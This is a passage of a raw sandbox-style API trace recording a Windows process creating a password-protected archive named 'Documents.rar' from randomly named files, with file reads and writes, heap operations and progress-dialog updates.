lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.162] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14450198497) returned 1 [0069.162] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xc1d4, lpOverlapped=0x0) returned 1 [0069.162] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ac214, nNumberOfBytesToRead=0xf3e2c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ac214*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.162] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.162] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.162] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.162] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.162] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.162] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.162] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.163] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39daf0 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.163] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.163] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ce0 | out: hHeap=0x2e0000) returned 1 [0069.163] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39db40 [0069.163] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.163] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.163] GetTickCount () returned 0xa67918 [0069.163] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14450340620) returned 1 [0069.163] GetTickCount () returned 0xa67918 [0069.163] GetTickCount () returned 0xa67918 [0069.163] GetTickCount () returned 0xa67918 [0069.163] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.163] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.163] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.164] ResetEvent (hEvent=0x1a4) returned 1 [0069.164] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.166] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.166] ResetEvent (hEvent=0x1a4) returned 1 [0069.166] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.167] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.167] GetTickCount () returned 0xa67918 [0069.167] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14450749006) returned 1 [0069.167] GetTickCount () returned 0xa67918 [0069.167] GetTickCount () returned 0xa67918 [0069.167] GetTickCount () returned 0xa67918 [0069.167] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.167] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.167] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.167] ResetEvent (hEvent=0x190) returned 1 [0069.167] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.168] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.168] ResetEvent (hEvent=0x190) returned 1 [0069.168] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.168] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.169] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.169] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x464490 [0069.169] SetFilePointer (in: hFile=0x198, lDistanceToMove=94, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x4644ee [0069.169] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.169] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.169] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.169] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.169] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xc280, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xc280, lpOverlapped=0x0) returned 1 [0069.173] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0069.173] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0069.173] GetFocus () returned 0x0 [0069.173] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0069.173] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0069.173] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.173] SetFilePointer (in: hFile=0x198, lDistanceToMove=4605072, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x464490 [0069.173] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x464490 [0069.173] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.173] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.173] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39daf0 [0069.173] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.173] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.173] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.174] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ce0 | out: hHeap=0x2e0000) returned 1 [0069.174] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39daf0 [0069.174] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.174] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x5e, lpOverlapped=0x0) returned 1 [0069.174] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.174] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5e) returned 0x3b64ec0 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.174] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.174] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x47076e [0069.174] CloseHandle (hObject=0x1b0) returned 1 [0069.174] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.174] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.174] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.174] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.174] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.174] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.174] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.174] GetTickCount () returned 0xa67928 [0069.174] GetLastError () returned 0x0 [0069.174] SetLastError (dwErrCode=0x0) [0069.174] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0069.174] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0069.174] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0069.174] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0069.174] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.174] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.174] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.174] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.174] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Zrs5Ud.odt") returned 10 [0069.174] SetWindowTextW (hWnd=0x10280, lpString="2t61b") returned 1 [0069.175] GetTickCount () returned 0xa67928 [0069.175] UpdateWindow (hWnd=0x10278) returned 1 [0069.175] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.175] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.175] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.175] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.175] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x47076e [0069.175] SetFilePointer (in: hFile=0x198, lDistanceToMove=61, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4707ab [0069.175] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.175] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.175] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.175] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.175] CryptProtectMemory (in: pDataIn=0x3a6a7e, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x3a6a7e) returned 1 [0069.175] SetFilePointer (in: hFile=0x198, lDistanceToMove=4654958, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x47076e [0069.175] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x47076e [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.175] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.175] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.175] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.176] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x3d, lpOverlapped=0x0) returned 1 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.176] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4707ab [0069.176] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.176] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.176] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.176] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.176] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.176] GetTickCount () returned 0xa67928 [0069.176] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.176] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.176] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.176] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.176] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="2t61b") returned 5 [0069.176] SetWindowTextW (hWnd=0x10280, lpString="8quW") returned 1 [0069.176] GetTickCount () returned 0xa67928 [0069.176] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.176] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.176] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.176] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.176] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.176] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.176] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.176] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.176] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.176] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4707ab [0069.177] SetFilePointer (in: hFile=0x198, lDistanceToMove=43, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4707d6 [0069.177] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.177] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.177] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.177] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.177] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655019, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4707ab [0069.177] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4707ab [0069.177] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.177] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.177] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.177] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.177] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.177] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.177] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.177] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x2b, lpOverlapped=0x0) returned 1 [0069.177] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.177] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.177] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4707d6 [0069.177] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.177] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.177] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.177] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.177] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.177] GetTickCount () returned 0xa67928 [0069.177] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.177] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.177] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.177] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.177] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="8quW") returned 4 [0069.177] SetWindowTextW (hWnd=0x10280, lpString="BZEpulzPesbCLsb0") returned 1 [0069.178] GetTickCount () returned 0xa67928 [0069.178] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.178] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.178] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.178] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.178] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4707d6 [0069.178] SetFilePointer (in: hFile=0x198, lDistanceToMove=55, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x47080d [0069.178] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.178] 